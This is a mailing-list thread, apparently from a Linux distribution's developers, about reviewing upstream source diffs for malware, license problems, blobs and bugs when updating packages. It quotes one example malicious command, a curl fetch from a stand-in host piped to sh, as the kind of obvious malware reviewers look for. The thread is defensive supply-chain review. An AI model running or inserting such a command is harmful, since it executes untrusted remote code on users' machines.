Reviewing the diff when updating a package?

Reviewing the diff when updating a package?

[Thiago Jung Bauermann]

Hello Maxime,

Maxime Devos <maximedevos@telenet.be> writes:

> Patch is not yet ready (I'm looking at the source code diff for
> anything ‘suspicious’), just reserving a bug number and avoiding double
> work.  Will send an actual patch later.

I hope you don't mind me asking what do you mean by ‘suspicious’?

Is it reviewing the code for security concerns?

I ask because I've wondered sometimes whether contributors updating a
package to a new version should review the new source code.

-- 
Thanks
Thiago

Re: Reviewing the diff when updating a package?

[Maxime Devos]

[-- Attachment #1: Type: text/plain, Size: 2082 bytes --]

Thiago Jung Bauermann schreef op vr 01-04-2022 om 22:59 [-0300]:
> Hello Maxime,
> 
> Maxime Devos <maximedevos@telenet.be> writes:
> 
> > Patch is not yet ready (I'm looking at the source code diff for
> > anything ‘suspicious’), just reserving a bug number and avoiding double
> > work.  Will send an actual patch later.
> 
> I hope you don't mind me asking what do you mean by ‘suspicious’?
> 
> Is it reviewing the code for security concerns?

That (to a limited degree), and other things.

> 
> I ask because I've wondered sometimes whether contributors updating a
> package to a new version should review the new source code.

I don't think it's feasible for, say, large things like GCC and Linux.
But for smaller things with smaller diffs, say a hypothetical npm-
event-stream package, it would easily avoid things like the compromise
described in <https://lwn.net/Articles/773121/>.

While we cannot feasibly protect users against more ‘hidden’ malware
(e.g. some non-obvious remote code execution in C that then will be
exploited by the upstream authors), the more obvious ‘here's a blob you
don't need to look at’ seems detectable.  I think ‘no malware (AFAWCT)’
is an important property of a distribution.

I look for the following things:

  1. additional bundled software
  2. code with a different license than mentioned in the 'license'
     field (especially if it's propietary)
  3. ‘obvious’ malware like: curl https://evil.bar | sh - in a
  4. blobs (possibly hiding malware)
  5. things that look like bugs (e.g. not checking the return value of
     'malloc' for NULL, not escaping things written to HTML documents
      ...)

I think I can reliably detect (1,3,4).  I sometimes detect (5) but not
detecting (5) (*) doesn't mean there are no bugs, I just quickly scroll
through the code and don't do any detailed analysis

(*) more specifically, some code not checking for NULL and an URL being
embedded in the 'href' attribute of an XML element without escaping.


Greetings,
Maxime.

[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 260 bytes --]

Re: Reviewing the diff when updating a package?

[Thiago Jung Bauermann]

Hello Maxime,

Thank you for such a detailed answer to my question. I appreciate it.

Maxime Devos <maximedevos@telenet.be> writes:

> Thiago Jung Bauermann schreef op vr 01-04-2022 om 22:59 [-0300]:
>> Hello Maxime,
>> 
>> Maxime Devos <maximedevos@telenet.be> writes:
>> 
>> > Patch is not yet ready (I'm looking at the source code diff for
>> > anything ‘suspicious’), just reserving a bug number and avoiding double
>> > work.  Will send an actual patch later.
>> 
>> I hope you don't mind me asking what do you mean by ‘suspicious’?
>> 
>> Is it reviewing the code for security concerns?
>
> That (to a limited degree), and other things.
>
>> I ask because I've wondered sometimes whether contributors updating a
>> package to a new version should review the new source code.
>
> I don't think it's feasible for, say, large things like GCC and Linux.
> But for smaller things with smaller diffs, say a hypothetical npm-
> event-stream package, it would easily avoid things like the compromise
> described in <https://lwn.net/Articles/773121/>.
>
> While we cannot feasibly protect users against more ‘hidden’ malware
> (e.g. some non-obvious remote code execution in C that then will be
> exploited by the upstream authors), the more obvious ‘here's a blob you
> don't need to look at’ seems detectable.  I think ‘no malware (AFAWCT)’
> is an important property of a distribution.

Indeed. That's a very sensible approach. Just because we can't hope to
detect all malicious changes, doesn't mean we can't attempt to catch the
more obvious malicious changes which, as your example shows, are
actually found in the wild.

> I look for the following things:
>
>   1. additional bundled software
>   2. code with a different license than mentioned in the 'license'
>      field (especially if it's propietary)
>   3. ‘obvious’ malware like: curl https://evil.bar | sh - in a
>   4. blobs (possibly hiding malware)
>   5. things that look like bugs (e.g. not checking the return value of
>      'malloc' for NULL, not escaping things written to HTML documents
>       ...)
>
> I think I can reliably detect (1,3,4).  I sometimes detect (5) but not
> detecting (5) (*) doesn't mean there are no bugs, I just quickly scroll
> through the code and don't do any detailed analysis
>
> (*) more specifically, some code not checking for NULL and an URL being
> embedded in the 'href' attribute of an XML element without escaping.

Wow, that's very thorough. Thank you for all this care with package
updates.

This is very useful guidance when creating/reviewing patches that update
packages. I'll take a stab at adding this information to the “Submitting
Patches” section of the manual.

-- 
Thanks
Thiago

Re: Reviewing the diff when updating a package?

[Ludovic Courtès]

Hi,

Maxime Devos <maximedevos@telenet.be> skribis:

> While we cannot feasibly protect users against more ‘hidden’ malware
> (e.g. some non-obvious remote code execution in C that then will be
> exploited by the upstream authors), the more obvious ‘here's a blob you
> don't need to look at’ seems detectable.  I think ‘no malware (AFAWCT)’
> is an important property of a distribution.

Agreed.

> I look for the following things:
>
>   1. additional bundled software
>   2. code with a different license than mentioned in the 'license'
>      field (especially if it's propietary)
>   3. ‘obvious’ malware like: curl https://evil.bar | sh - in a
>   4. blobs (possibly hiding malware)
>   5. things that look like bugs (e.g. not checking the return value of
>      'malloc' for NULL, not escaping things written to HTML documents
>       ...)
>
> I think I can reliably detect (1,3,4).  I sometimes detect (5) but not
> detecting (5) (*) doesn't mean there are no bugs, I just quickly scroll
> through the code and don't do any detailed analysis

I usually check #1, #2, and #4 for new packages; for an update, I pay
much less attention to those.

The other checks you describe are laudable, and it’s great if someone
can do that.  But I think we should not hold every review to this high
standard, nor suggest that we’re uniformly following that standard—it’s
just not feasible.

We need to find a balance between “thoroughly-reviewed” and “lively”,
which are usually antithetical.  I’d rather have more reviewers doing a
couple of the items above than no reviewers at all (and lately we’ve
been desperately short on reviewers!).

Thanks,
Ludo’.